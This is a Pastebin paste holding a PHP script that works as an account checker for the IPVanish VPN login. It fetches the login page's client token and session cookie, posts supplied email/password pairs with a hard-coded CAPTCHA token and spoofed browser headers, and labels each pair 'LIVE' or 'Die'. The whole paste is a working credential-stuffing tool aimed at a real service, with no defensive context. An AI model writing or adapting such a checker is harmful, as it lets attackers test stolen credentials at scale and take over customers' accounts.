Advertisement
cdfteller

IPVANISH

Dec 24th, 2019
9,086
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.53 KB | None | 0 0
  1. <?php
  2.  
  3. date_default_timezone_set("Asia/Jakarta");
  4. header('Content-Type: application/json');
  5. error_reporting(0);
  6. // require 'includes/class_curl.php';
  7.  
  8.     $ip = new ip();
  9.     echo $ip->check($_GET['email'], $_GET['pass']);
  10.    
  11.     class ip{
  12.     public function check($email, $pass){
  13.         $ch = curl_init('https://account.ipvanish.com/login');
  14.         curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Encoding: gzip, deflate, br',
  15.         'Accept-Language: id,en-US;q=0.7,en;q=0.3',
  16.         'Upgrade-Insecure-Requests: 1',
  17.         'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0',
  18.         'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  19.         'Cache-Control: max-age=0',
  20.         'Connection: keep-alive'));
  21.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  22.         curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0');
  23.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  24.         curl_setopt($ch, CURLOPT_HEADER, 1);
  25.         $result = curl_exec($ch);
  26.         //echo $result;
  27.        
  28.         $cuk = file_get_contents('https://account.ipvanish.com/login');
  29.         preg_match('/id="clientToken" value="(.+?)"/', $cuk, $sama);
  30.         ///echo $sama[1];
  31.  
  32.        
  33.         preg_match('/PHPSESSID=(.+?);/', $result, $cok);
  34.         //echo $cok[1];
  35.         //var_dump($cok);
  36.        
  37.         $ch = curl_init();
  38.         curl_setopt($ch, CURLOPT_URL, "https://account.ipvanish.com/login/validate");
  39.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  40.         curl_setopt($ch, CURLOPT_POSTFIELDS, "clientToken=$sama[1]&username=$email&password=$pass&g-recaptcha-response=03AOLTBLRoFRCHiIK_BYFk1PeTNMbCzY-iKwFcxrg9tPE8vPFYVv5YH9NYW-AW4RhCL10n-4kURg6ofkdtSA7fNFGvGM0Dt0YBXVhc-JmHo4jjBDhavn8BR3Va05SFm52rtRK-e3QzsuAheOx0rXrwWgmciOLfMSlbtgkdEPZ9F_ZAeNKapcmTTScpzaNzY_PvHQfY4HkziUANouxM3Qn45lUrVH9nTXR448M2Pr6hqJixMX7va0jR2X_UeuqhrSwntTKeZenfkDGyHlS7KunlNPZUej00Qz35tHhg_C5DNnfTrhk1aVlwm3ysYR--yr-6Ulk3HvDCr-u7GVd74b8PJD9YBcgMYgkQnN0lPs12wIYbfKqDsKWw-P8S4iGL_x8iRdzGiatq34Pod7ePeaR24_Jc_IOTggAyCDUJhy8UsN_QiVVT7NXvlTza7NWyoBcIBmtAXrAVsX8KvMVwfhke-aqmz_hG6e4iH5ETKz35Vw0ET2RSqKPt2HX2Qr939AnKy32VXcGIpJ4faa-R-IohfgIHJPb4O5LirA");
  41.         curl_setopt($ch, CURLOPT_POST, 1);
  42.         curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  43.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  44.         curl_setopt($ch, CURLOPT_HEADER, 1);
  45.         curl_setopt($ch, CURLOPT_VERBOSE, 1);
  46.         curl_setopt($ch, CURLOPT_HTTPHEADER, array('Origin: https://account.ipvanish.com',
  47.         'Accept-Encoding: gzip, deflate, br',
  48.         'Accept-Language: id,en-US;q=0.7,en;q=0.3',
  49.         'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0',
  50.         'Content-Type: application/x-www-form-urlencoded',
  51.         'Accept: application/json, text/plain, */*',
  52.         'Referer: https://account.ipvanish.com/login',
  53.         'Cookie: SC_session=117816f36cd7bd8; _ga=GA1.2.1854785752.1577172436; _gid=GA1.2.1261200301.1577172436; _fbp=fb.1.1577172436386.1687532381; PHPSESSID='.$cok[1].'',
  54.         'Connection: keep-alive'));
  55.         $result = curl_exec($ch);
  56.         //echo $result;
  57.    
  58.         if(stristr($result, '/login')){
  59.             $hasilcuk['error'] = "2";
  60.             $hasilcuk['msg'] = "Die";
  61.             $hasilcuk['id'] = "$email";
  62.             $hasilcuk['pass'] = "$pass";
  63.         } else {
  64.             $hasilcuk['error'] = "0";
  65.             $hasilcuk['msg'] = "LIVE";
  66.             $hasilcuk['id'] = "$email";
  67.             $hasilcuk['pass'] = "$pass";
  68.             $hasilcuk['info'] = "Email Dan Password yang anda Masukan benar.";
  69.             $hasilcuk['checker'] = "./Miss Queen";
  70.         }
  71.  
  72.         $output_json = json_encode($hasilcuk);
  73.         return $output_json;
  74.     }
  75. }
  76.     ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement